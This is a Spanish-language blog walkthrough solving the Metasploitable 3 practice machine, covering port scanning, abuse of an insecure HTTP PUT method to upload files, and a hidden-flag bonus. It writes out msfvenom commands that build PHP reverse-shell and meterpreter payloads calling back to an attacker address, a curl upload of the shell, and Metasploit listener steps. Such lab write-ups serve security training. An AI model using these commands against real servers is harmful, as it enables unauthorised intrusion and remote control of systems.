Posted in

Metasploitable 3 – Solución (Parte 2 – HTTP + Upload)

En esta serie de artículos, resolveremos la máquina Metasploitable 3, la cual instalamos en previamente. Para conocer detalles acerca de la instalación en Windows 10, puedes ver la publicación anterior http://labitacoradelhacker.com/instalar-metasploitable-3-en-windows-10-2020/

Si deseas ver la parte 1 de esta serie de artículos, puedes visitar el siguiente enlace:

Parte 1: http://labitacoradelhacker.com/metasploitable-3-solucion-parte-1-ftp/

Lo primero que tenemos que hacer es identificar la dirección IP de nuestra máquina objetivo, en este caso, Metasploitable, entonces lanzaremos un ping scan con Nmap:

Nuestra máquina objetivo está en la 192.168.1.16, entonces ejecutaremos un escaneo completo. Dentro de los servicios activos encontramos el puerto 8585, el cual ejecuta el servicio Apache:

Entramos al servicio y vemos que está corriendo WAMP. Dentro del servicio, podemos ver dos proyectos: uploads y wordpress:

Entramos a uploads, y observamos que es posible listar el directorio:

No se observa ninguna opción para subir algún archivo, al menos no de forma gráfica. Una alternativa es analizar los métodos permitidos en este recurso, para ver si es posible subir un archivo. Para ello utilizamos nmap con el script http-methods:

nmap -sS -sV 192.168.1.16 -p 8585 --script http-methods --script-args http-methods.url-path='/uploads',http-methods.test-all

El método PUT es utilizado comúnmente en APIs que utilizan servicios REST. Su función es actualizar registros, sin embargo, cuando es implementado de forma insegura, permite subir archivos y/o cargar información. Para verificar si el servicio es vulnerable, intentaremos subir una shell, aprovechando el método PUT.

Lo primero que haremos es generar una shell en php, utilizando msfvenom:

msfvenom -p "php/reverse_php" LHOST=[IP_ATACANTE] LPORT=[puerto_atacante] -f raw > php-reverse-shell.php

Utilizamos curl para subir el archivo creado:

curl -i -X PUT -T "./php-reverse-shell.php" "http://192.168.1.16:8585/uploads/shell.php"

Vemos que el archivo se ha subido correctamente:

Abrimos nuestro listener, para recibir nuestra conexión reversa al abrir el archivo desde el browser:


Usando Metasploit:

Para realizar el mismo ataque, usando Metasploit, nuevamente generamos nuestra web shell, pero esta vez la haremos utilizando el payload meterpreter:

msfvenom -p "php/meterpreter/reverse_tcp" LHOST=192.168.1.17 LPORT=4443 -f raw > meterpreter-shell.php

Abrimos metasploit, y seleccionamos el payload auxiliary/scanner/http/http_put

Una vez subido nuestro archivo, utilizaremos exploit/multi/handler para abrir nuestro listener y recibir la conexión:

Al abrir nuestra shell en el navegador, recibiremos la conexión:


BONUS

Al escanear nuestro equipo objetivo (Metasploitable), detectamos que el puerto 80 se encontraba abierto, el cual nos muestra lo siguiente:

¿Quizá exista una vulnerabilidad?. Revisemos el código fuente:

Vemos que hay un input oculto, el cual contiene un valor grande. Este valor parece ser hexadecimal. Guardaremos dicho valor y luego lo analizaremos con un editor hexadecimal:

Vemos que se trata de una imagen PNG, la guardamos y abrimos:

Bingo! Es una imagen oculta. Otro flag obtenido:

  • Joker